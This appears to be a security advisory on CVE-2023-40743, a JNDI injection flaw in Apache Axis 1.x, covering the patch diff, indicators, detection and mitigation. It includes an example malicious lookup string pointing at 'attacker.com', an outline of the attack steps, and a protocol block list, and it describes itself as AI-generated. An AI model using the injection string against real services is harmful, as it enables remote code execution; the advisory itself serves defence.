CVE-2023-40743 Overview
CVE-2023-40743 is a critical vulnerability affecting Apache Axis 1.x, an end-of-life (EOL) SOAP engine. When integrating Apache Axis 1.x in an application, the ServiceFactory.getService API method allows potentially dangerous lookup mechanisms such as LDAP, RMI, and JNDI. When untrusted input is passed to this method, it can expose the application to Denial of Service (DoS), Server-Side Request Forgery (SSRF), and potentially Remote Code Execution (RCE) attacks.
Critical Impact
This vulnerability in unsupported software allows attackers to leverage JNDI injection techniques through the ServiceFactory.getService API, potentially achieving remote code execution on vulnerable systems. Apache Axis 1.x is end-of-life with no official patch release planned.
Affected Products
- Apache Axis 1.x (all versions)
- Applications integrating Apache Axis 1.x with untrusted input to ServiceFactory.getService
- Legacy Java SOAP applications using the Axis 1 framework
Discovery Timeline
- September 5, 2023 - CVE CVE-2023-40743 published to NVD
- February 13, 2025 - Last updated in NVD database
Technical Details for CVE-2023-40743
Vulnerability Analysis
This vulnerability exists in Apache Axis 1.x's ServiceFactory.getService method, which performs JNDI lookups without adequately filtering dangerous protocols. When an application passes user-controlled input to this method, an attacker can craft malicious JNDI lookup strings that trigger connections to attacker-controlled servers via protocols like LDAP, RMI, or DNS.
The attack mechanism is similar to other JNDI injection vulnerabilities such as Log4Shell. An attacker can supply a malicious JNDI reference string (e.g., ldap://attacker.com/malicious) that causes the vulnerable application to connect to an attacker-controlled server. The remote server can then respond with a serialized Java object or codebase reference that, when processed, leads to arbitrary code execution on the target system.
The lack of input validation in the ServiceFactory.getService method allows dangerous protocols to be processed, enabling multiple attack scenarios including denial of service through resource exhaustion, SSRF attacks to access internal resources, and full remote code execution through malicious object deserialization.
Root Cause
The root cause is improper input validation (CWE-20) and failure to neutralize special elements in output used by a downstream component (CWE-75). The ServiceFactory.getService method accepts JNDI names without filtering out dangerous protocol schemes such as LDAP, RMI, JMS, JMX, JRMP, JAVA, and DNS. This allows attackers to inject malicious lookup references that trigger connections to external or internal resources under attacker control.
Attack Vector
The attack vector is network-based and requires no authentication or user interaction. An attacker who can supply input to the ServiceFactory.getService method can exploit this vulnerability by:
- Identifying an application endpoint that passes user input to the vulnerable API
- Crafting a malicious JNDI lookup string targeting protocols like LDAP or RMI
- Setting up an attacker-controlled server to respond with malicious payloads
- Triggering the JNDI lookup to achieve DoS, SSRF, or RCE depending on the environment
The official patch filters out dangerous protocols by checking the JNDI name for unsafe scheme prefixes:
if (context != null) {
String name = (String)environment.get("jndiName");
+
+ if(name!=null && (name.toUpperCase().indexOf("LDAP")!=-1 || name.toUpperCase().indexOf("RMI")!=-1 || name.toUpperCase().indexOf("JMS")!=-1 || name.toUpperCase().indexOf("JMX")!=-1) || name.toUpperCase().indexOf("JRMP")!=-1 || name.toUpperCase().indexOf("JAVA")!=-1 || name.toUpperCase().indexOf("DNS")!=-1) {
+ return null;
+ }
if (name == null) {
name = "axisServiceName";
}
Source: GitHub Commit Update
Detection Methods for CVE-2023-40743
Indicators of Compromise
- Outbound network connections from application servers to unexpected LDAP, RMI, or other JNDI-related ports (e.g., LDAP port 389/636, RMI port 1099)
- Application logs containing JNDI lookup strings with suspicious protocol prefixes (ldap://, rmi://, jndi://)
- Unusual DNS queries from application servers to external domains containing JNDI-related patterns
- Presence of unfamiliar Java class files or serialized objects on affected systems
Detection Strategies
- Monitor application logs for ServiceFactory.getService invocations with external or suspicious JNDI references
- Implement network egress filtering and alerting for unexpected outbound connections to LDAP/RMI services
- Deploy application-level runtime protection to detect and block JNDI injection attempts
- Scan codebases and dependencies for Apache Axis 1.x usage with software composition analysis tools
Monitoring Recommendations
- Enable verbose logging for JNDI operations and monitor for anomalous lookup patterns
- Configure network intrusion detection systems to alert on JNDI-related protocol traffic from application servers
- Monitor for class loading events from remote sources which may indicate successful exploitation
- Track DNS resolution logs for patterns consistent with JNDI injection attacks (e.g., lookups containing encoded payloads)
How to Mitigate CVE-2023-40743
Immediate Actions Required
- Audit application code to identify any usage of ServiceFactory.getService with untrusted or unsanitized input
- Migrate from Apache Axis 1.x to Apache Axis 2/Java or another actively maintained SOAP engine
- Apply input validation and sanitization for any data passed to JNDI-related APIs
- Implement network-level controls to restrict outbound connections from application servers to trusted destinations only
Patch Information
Apache Axis 1 has reached end-of-life and the Apache Axis project does not expect to create an official Axis 1.x release fixing this problem. However, a community patch is available at the GitHub Commit Update. Organizations using Apache Axis 1.x should apply this patch manually or migrate to a supported SOAP engine. Additional guidance is available in the Apache Mailing List Thread. Debian LTS users can reference the Debian LTS Announcement for distribution-specific updates.
Workarounds
- Review and sanitize all input passed to ServiceFactory.getService to ensure no untrusted data reaches the API
- Block dangerous JNDI protocol schemes (LDAP, RMI, JMS, JMX, JRMP, JAVA, DNS) at the application or network level
- Implement Java Security Manager policies to restrict JNDI lookups to trusted contexts only
- Use network segmentation to isolate legacy Axis 1.x applications from sensitive internal resources
# Example: Block outbound LDAP and RMI traffic from application servers using iptables
iptables -A OUTPUT -p tcp --dport 389 -j DROP
iptables -A OUTPUT -p tcp --dport 636 -j DROP
iptables -A OUTPUT -p tcp --dport 1099 -j DROP
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.


